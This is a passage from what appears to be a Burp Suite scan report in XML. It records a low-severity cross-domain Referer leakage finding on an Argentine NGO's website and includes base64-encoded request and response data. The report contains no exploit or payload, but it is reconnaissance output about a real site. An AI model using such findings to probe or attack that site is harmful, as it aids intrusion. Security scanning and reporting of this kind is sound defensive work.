c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PC9lbT48L3NwYW4+PC90ZD4KICA8L3RyPgo8L3RhYmxlPgoKCjxtYXAgbmFtZT0iTWFwMiI+PGFyZWEgc2hhcGU9InJlY3QiIGNvb3Jkcz0iMjQ3LDY5LDQxNCw4MiIgaHJlZj0ibWFpbHRvOnNhbHVkYWN0aXZhQHNhbHVkYWN0aXZvLm9yZy5hciI+CjwvbWFwPgo8bWFwIG5hbWU9Ik1hcCI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM2LDE0MiwxNDksMTUyIiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MiI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM0LDE4NiwxNTAsMTk2IiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MCI+CjwvbWFwPgo8L2JvZHk+CjwvaHRtbD4K]]></response>
201 <responseRedirected>false</responseRedirected>
202 </requestresponse>
203 </issue>
204 <issue>
205 <serialNumber>3742539495863584768</serialNumber>
206 <type>5243904</type>
207 <name>Cross-domain Referer leakage</name>
208 <host ip="200.20.20.201">http://www.example.org.ar</host>
209 <path><![CDATA[/index.php]]></path>
210 <location><![CDATA[/index.php]]></location>
211 <severity>Information</severity>
212 <confidence>Certain</confidence>
213 <issueBackground><![CDATA[When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.<br><br>If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.<br><br>You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.<br><br>Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behavior should not be relied upon to protect the originating URL from disclosure.<br><br>Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.]]></issueBackground>
214 <remediationBackground><![CDATA[The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.]]></remediationBackground>
215 <issueDetail><![CDATA[The page was loaded from a URL containing a query string:<ul><li>http://www.example.org.ar/index.php?id=18_new</li></ul>The response contains the following links to other domains:<ul><li>http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab</li><li>http://twitter.com/exampleONG</li><li>http://www.congresoviolencia.com/index.php?id=inscripcion</li><li>http://www.congresoviolencia.com/index.php?id=modalidades</li><li>http://www.facebook.com/home.php?</li><li>http://www.sitei.com.ar/</li></ul>]]></issueDetail>
216 <requestresponse>
217 <request base64="true"><![CDATA[R0VUIC9pbmRleC5waHA/aWQ9MThfbmV3IEhUVFAvMS4xDQpIb3N0OiB3d3cuc2FsdWRhY3RpdmEub3JnLmFyDQpBY2NlcHQ6ICovKg0KQWNjZXB0LUxhbmd1YWdlOiBlbg0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKGNvbXBhdGlibGU7IE1TSUUgOS4wOyBXaW5kb3dzIE5UIDYuMTsgV2luNjQ7IHg2NDsgVHJpZGVudC81LjApDQpDb25uZWN0aW9uOiBjbG9zZQ0KDQo=]]></request>
218 <response base64="true"><![CDATA[SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA3IE5vdiAyMDEzIDE3OjE0OjA1IEdNVA0KU2VydmVyOiBBcGFjaGUvMi4yLjIzIChVbml4KSBtb2Rfc3NsLzIuMi4yMyBPcGVuU1NMLzAuOS44ZS1maXBzLXJoZWw1DQpYLVBvd2VyZWQtQnk6IFBIUC81LjIuMTcNCkV4cGlyZXM6IFRodSwgMTkgTm92IDE5ODEgMDg6NTI6MDAgR01UDQpDYWNoZS1Db250cm9sOiBuby1zdG9yZSwgbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZSwgcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MA0KUHJhZ21hOiBuby1jYWNoZQ0KQ29ubmVjdGlvbjogY2xvc2UNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sDQpDb250ZW50LUxlbmd0aDogNjA2MDYNCg0KIDxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0xIiAvPgo8dGl0bGU+U2FsdWQgQWN0aXZhIC0gQWJ1c28gdmlvbGVuY2lhIHkgbWFsdHJhdG88L3RpdGxlPgoKPHNjcmlwdD4gCiAgICAvL2VzdG8gcGFyYSBwYXNhcmxlIGFsIGZsYXNoIGxhcyB2YXJpYWxiZXMgZGVsIHBocAogCQoKCXZhciBib3Q9Jyc7Ci8vYWxlcnQodmFyaWFibGVTZXJ2aWRvcik7Cjwvc2NyaXB0Pgo8c2NyaXB0IGxhbmd1YWdlPSJKYXZhU2NyaXB0IiB0eXBlPSJ0ZXh0L0phdmFTY3JpcHQiPgo8IS0tCmZ1bmN0aW9uIE1NX3ByZWxvYWRJbWFnZXMoKSB7IC8vdjMuMAogIHZhciBkPWRvY3VtZW50OyBpZihkLmltYWdlcyl7IGlmKCFkLk1NX3ApIGQuTU1fcD1uZXcgQXJyYXkoKTsKICAgIHZhciBpLGo9ZC5NTV9wLmxlbmd0aCxhPU1NX3ByZWxvYWRJbWFnZXMuYXJndW1lbnRzOyBmb3IoaT0wOyBpPGEubGVuZ3RoOyBpKyspCiAgICBpZiAoYVtpXS5pbmRleE9mKCIjIikhPTApeyBkLk1NX3Bbal09bmV3IEltYWdlOyBkLk1NX3BbaisrXS5zcmM9YVtpXTt9fQp9Ci8vLS0+Cjwvc2NyaXB0Pgo8bGluayBocmVmPSJlc3RpbG9zLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgLz4KCjwvaGVhZD4KCjxzY3JpcHQgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiIHR5cGU9InRleHQvSmF2YVNjcmlwdCI+CjwhLS0KZnVuY3Rpb24gTU1fcmVsb2FkUGFnZShpbml0KSB7ICAvL3JlbG9hZHMgdGhlIHdpbmRvdyBpZiBOYXY0IHJlc2l6ZWQKICBpZiAoaW5pdD09dHJ1ZSkgd2l0aCAobmF2aWdhdG9yKSB7aWYgKChhcHBOYW1lPT0iTmV0c2NhcGUiKSYmKHBhcnNlSW50KGFwcFZlcnNpb24pPT00KSkgewogICAgZG9jdW1lbnQuTU1fcGdXPWlubmVyV2lkdGg7IGRvY3VtZW50Lk1NX3BnSD1pbm5lckhlaWdodDsgb25yZXNpemU9TU1fcmVsb2FkUGFnZTsgfX0KICBlbHNlIGlmIChpbm5lcldpZHRoIT1kb2N1bWVudC5NTV9wZ1cgfHwgaW5uZXJIZWlnaHQhPWRvY3VtZW50Lk1NX3BnSCkgbG9jYXRpb24ucmVsb2FkKCk7Cn0KTU1fcmVsb2FkUGFnZSh0cnVlKTsKLy8tLT4KCjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iU2NyaXB0cy9BQ19SdW5BY3RpdmVDb250ZW50LmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoKCjwvaGVhZD4KCjxib2R5IGJhY2tncm91bmQ9ImltZy9mb25kb19kZWdyYWRlLmpwZyIgdG9wbWFyZ2luPSIwIj4KPHRhYmxlIHdpZHRoPSIxMDA1IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgPHRyPiAKICAgIDx0ZCB3aWR0aD0iOTYiPjxpbWcgc3JjPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzBfMDEuanBnIiB3aWR0aD0iOTYiIGhlaWdodD0iMjA4IiAvPjwvdGQ+CiAgICA8dGQgd2lkdGg9IjgwOSI+IDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KQUNfRkxfUnVuQ29udGVudCggJ2NvZGViYXNlJywnaHR0cDovL2Rvd25sb2FkLm1hY3JvbWVkaWEuY29tL3B1Yi9zaG9ja3dhdmUvY2Ficy9mbGFzaC9zd2ZsYXNoLmNhYiN2ZXJzaW9uPTcsMCwxOSwwJywnd2lkdGgnLCc4MDknLCdoZWlnaHQnLCcyMDgnLCdzcmMnLCdzd2YvaGVhZGVyJywncXVhbGl0eScsJ2hpZ2gnLCdwbHVnaW5zcGFnZScsJ2h0dHA6Ly93d3cubWFjcm9tZWRpYS5jb20vZ28vZ2V0Zmxhc2hwbGF5ZXInLCdtb3ZpZScsJ3N3Zi9oZWFkZXInICk7IC8vZW5kIEFDIGNvZGUKPC9zY3JpcHQ+IDxub3NjcmlwdD4KICAgICAgPG9iamVjdCBjbGFzc2lkPSJjbHNpZDpEMjdDREI2RS1BRTZELTExY2YtOTZCOC00NDQ1NTM1NDAwMDAiIGNvZGViYXNlPSJodHRwOi8vZG93bmxvYWQubWFjcm9tZWRpYS5jb20vcHViL3Nob2Nrd2F2ZS9jYWJzL2ZsYXNoL3N3Zmxhc2guY2FiI3ZlcnNpb249NywwLDE5LDAiIHdpZHRoPSI4MDkiIGhlaWdodD0iMjA4Ij4KICAgICAgICA8cGFyYW0gbmFtZT0ibW92aWUiIHZhbHVlPSJzd2YvaGVhZGVyLnN3ZiIgLz4KICAgICAgICA8cGFyYW0gbmFtZT0icXVhbGl0eSIgdmFsdWU9ImhpZ2giIC8+CiAgICAgICAgPGVtYmVkIHNyYz0ic3dmL2hlYWRlci5zd2YiIHF1YWxpdHk9ImhpZ2giIHBsdWdpbnNwYWdlPSJodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd2lkdGg9IjgwOSIgaGVpZ2h0PSIyMDgiPjwvZW1iZWQ+IAogICAgICA8L29iamVjdD4KICAgICAgPC9ub3NjcmlwdD48L3RkPgogICAgPHRkIHdpZHRoPSIxMiUiIHJvd3NwYW49IjUiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzAwMDAwMCI+Jm5ic3A7PC90ZD4KICA8L3RyPgogIDx0cj4gCiAgICA8dGQgaGVpZ2h0PSI0NjEiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaW1nL1F1aWVuZXNTb21vc19BMl8wXzEzLmpwZyI+IAogICAgICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CkFDX0ZMX1J1bkNvbnRlbnQoICdjb2RlYmFzZScsJ2h0dHA6Ly9kb3dubG9hZC5tYWNyb21lZGlhLmNvbS9wdWIvc2hvY2t3YXZlL2NhYnMvZmxhc2gvc3dmbGFzaC5jYWIjdmVyc2lvbj02LDAsMjksMCcsJ3dpZHRoJywnOTYnLCdoZWlnaHQnLCc0NjEnLCdzcmMnLCdzd2Yvc3VibWVudScsJ3F1YWxpdHknLCdoaWdoJywncGx1Z2luc3BhZ2UnLCdodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyJywnbW92aWUnLCdzd2Yvc3VibWVudScgKTsgLy9lbmQgQUMgY29kZQo8L3NjcmlwdD4gPG5vc2NyaXB0PgogICAgICA8b2JqZWN0IGNsYXNzaWQ9ImNsc2lkOkQyN0NEQjZFLUFFNkQtMTFjZi05NkI4LTQ0NDU1MzU0MDAwMCIgY29kZWJhc2U9Imh0dHA6Ly9kb3dubG9hZC5tYWNyb21lZGlhLmNvbS9wdWIvc2hvY2t3YXZlL2NhYnMvZmxhc2gvc3dmbGFzaC5jYWIjdmVyc2lvbj02LDAsMjksMCIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjQ2MSI+CiAgICAgICAgPHBhcmFtIG5hbWU9Im1vdmllIiB2YWx1ZT0ic3dmL3N1Ym1lbnUuc3dmIiAvPgogICAgICAgIDxwYXJhbSBuYW1lPSJxdWFsaXR5IiB2YWx1ZT0iaGlnaCIgLz4KICAgICAgICA8ZW1iZWQgc3JjPSJzd2Yvc3VibWVudS5zd2YiIHF1YWxpdHk9ImhpZ2giIHBsdWdpbnNwYWdlPSJodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjQ2MSI+PC9lbWJlZD48L29iamVjdD4KICAgICAgPC9ub3NjcmlwdD48L3RkPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgYmdjb2xvcj0iI0ZGRkZGRiI+CiAgICAgICAgPHRyPiAKICAgICAgICAgIDx0ZCB3aWR0aD0iMTciIHJvd3NwYW49IjciPjxwPiZuYnNwOzwvcD48L3RkPgogICAgICAgICAgPHRkIHdpZHRoPSIxNzIiIGFsaWduPSJjZW50ZXIiIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjRTNFM0UzIj4gPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiPjxpbWcgc3JjPSJpbWcvM3B4LmpwZyIgd2lkdGg9IjUiIGhlaWdodD0iNSI+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciI+PGxpbmsgaHJlZj0iLi4vZXN0aWxvcy5jc3MiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIC8+Cjxib2R5IGJnY29sb3I9IiNDQ0NDQ0MiIHRvcG1hcmdpbj0iNiBweCI+PHRhYmxlIHdpZHRoPSIxNjUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIzIiBiZ2NvbG9yPSIjRkZGRkZGIj4KPHRyPgogICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTkxIiBoZWlnaHQ9IjI4IiBiYWNrZ3JvdW5kPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiA+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciIHdpZHRoPSI2IiAgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJpbmRleC5waHA/aWQ9MThfbmV3IiBjbGFzcz0iZm9uZG9ib3RvbiI+SG9tZTwvYT48L3RkPgogIDwvdHI+Cjx0cj4KICA8dGQgaGVpZ2h0PSIyOCIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXciIGNsYXNzPSJmb25kb2JvdG9uIj4mbmJzcDsmbmJzcDtOb3RpY2lhczwvYT48L3RkPgo8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjgiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJkb25hY2lvbmVzLyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJmb25kb2JvdG9uIj5Eb25hY2lvbmVzPC9hPjwvdGQ+CiAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI4IiBiYWNrZ3JvdW5kPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiA+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciICB3aWR0aD0iNiJoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0yM19uZXciIGNsYXNzPSJmb25kb2JvdG9uIj5IaXN0b3JpYWwgZGUgbmV3c2xldHRlcnM8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjgiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTEzYSIgY2xhc3M9ImZvbmRvYm90b24iPkVudmlhciBpbmZvcm1hY2kmb2FjdXRlO248L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiJoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0yNl9uZXciIGNsYXNzPSJmb25kb2JvdG9uIj5WZXIgdHJhYmFqb3MgZGUgdXN1YXJpb3M8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiIgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJpbmRleC5waHA/aWQ9MTZfbmV3IiBjbGFzcz0iZm9uZG9ib3RvbiI+U2FsdWQgQWN0aXZhIHByZW5zYTwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiIgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJtYWlsdG86c2FsdWRhY3RpdmFAc2FsdWRhY3RpdmEub3JnLmFyIiBjbGFzcz0iZm9uZG9ib3RvbiI+TWFuZCZhYWN1dGU7IHR1IEMuVi48L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgIHdpZHRoPSI2ImhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTIxX25ldyIgY2xhc3M9ImZvbmRvYm90b24iPkluZm9ybWFjaSZvYWN1dGU7biBkZSBpbnRlciZlYWN1dGU7czwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyI+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciIHdpZHRoPSI2IiBoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xMF80IiBjbGFzcz0iZm9uZG9ib3RvbiI+Q29uZ3Jlc29zCiAgICAgICAgICAgICAgICAgIHkgSm9ybmFkYXM8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTExIiBjbGFzcz0iZm9uZG9ib3RvbiI+UmVnaXN0cmFjaSZvYWN1dGU7bjwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgCiAgICAgICAgICA8L3RhYmxlPgo8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNSIgdGFyZ2V0PSJfYmxhbmsiPjxicj4KICAgICAgICAgICAgICAgICAgPGltZyBzcmM9ImltZy9iYW5uZXJfZG9uYWNpb25lcy5qcGciIHdpZHRoPSIxNjIiIGhlaWdodD0iMTIwIiBib3JkZXI9IjAiPjxicj4KICAgICAgICAgICAgICAgICAgPGJyPgogICAgICAgICAgICAgICAgICA8aW1nIHNyYz0iaW1nL2JvdG9uRm9yby5naWYiIHdpZHRoPSIxNzIiIGhlaWdodD0iMTE3IiBib3JkZXI9IjAiPjwvYT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTY3IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjkiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzAzLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iOSIgLz48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTQ5IiBiYWNrZ3JvdW5kPSJpbWcvY2hpY29zX3BlcmRpZG9zXzA1LmdpZiI+PGltZyBzcmM9ImltZy9jaGljb3NfcGVyZGlkb3NfMDUuZ2lmIiB3aWR0aD0iOSIgaGVpZ2h0PSI5IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMCI+PGltZyBzcmM9ImltZy9jaGljb3NfcGVyZGlkb3NfMDcuZ2lmIiB3aWR0aD0iOSIgaGVpZ2h0PSI5IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgYmFja2dyb3VuZD0iaW1nL2NoaWNvc19wZXJkaWRvc18xMi5naWYiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzEyLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iMTEiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9InNyYy9pbWdfdXAvMjMwODIwMTIuMS5qcGciIHdpZHRoPSIxNDkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgYmFja2dyb3VuZD0iaW1nL2NoaWNvc19wZXJkaWRvc18xMy5naWYiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzEzLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iMTEiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xNi5naWYiIHdpZHRoPSIxNjciIGhlaWdodD0iNSIgLz48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGJhY2tncm91bmQ9ImltZy9jaGljb3NfcGVyZGlkb3NfMTcuZ2lmIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xNy5naWYiIHdpZHRoPSI5IiBoZWlnaHQ9IjkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0ZFRTdDRiIgY2xhc3M9InRpdHVsb2hvbWU1Ij48c3Ryb25nPk5pJm50aWxkZTtvcyBwZXJkaWRvczxicj4KICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0yOSIgY2xhc3M9ImJvdG9uIj5bVmVyIG0mYWFjdXRlO3NdPC9hPjwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIGJhY2tncm91bmQ9ImltZy9jaGljb3NfcGVyZGlkb3NfMTkuZ2lmIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xOS5naWYiIHdpZHRoPSI5IiBoZWlnaHQ9IjkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18yMC5naWYiIHdpZHRoPSIxNjciIGhlaWdodD0iMjUiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4NCgkJCQkNCgkJCQk8Zm9ybSBhY3Rpb249ImluZGV4LnBocD9pZD0xMSIgIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMiI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2VzcV9penExLmpwZyIgd2lkdGg9IjEyIiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9hcnJpYmEuanBnIiB3aWR0aD0iMTQ2IiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNCI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2VzcV9kZXIxLmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMiIgdmFsaWduPSJ0b3AiIGNsYXNzPSJyZWdGb25kbzEiPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9penEuanBnIiB3aWR0aD0iMTIiIGhlaWdodD0iMTIiIC8+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiI+PHRhYmxlIHdpZHRoPSI5NCUiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4NCiAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV90aXQuanBnIi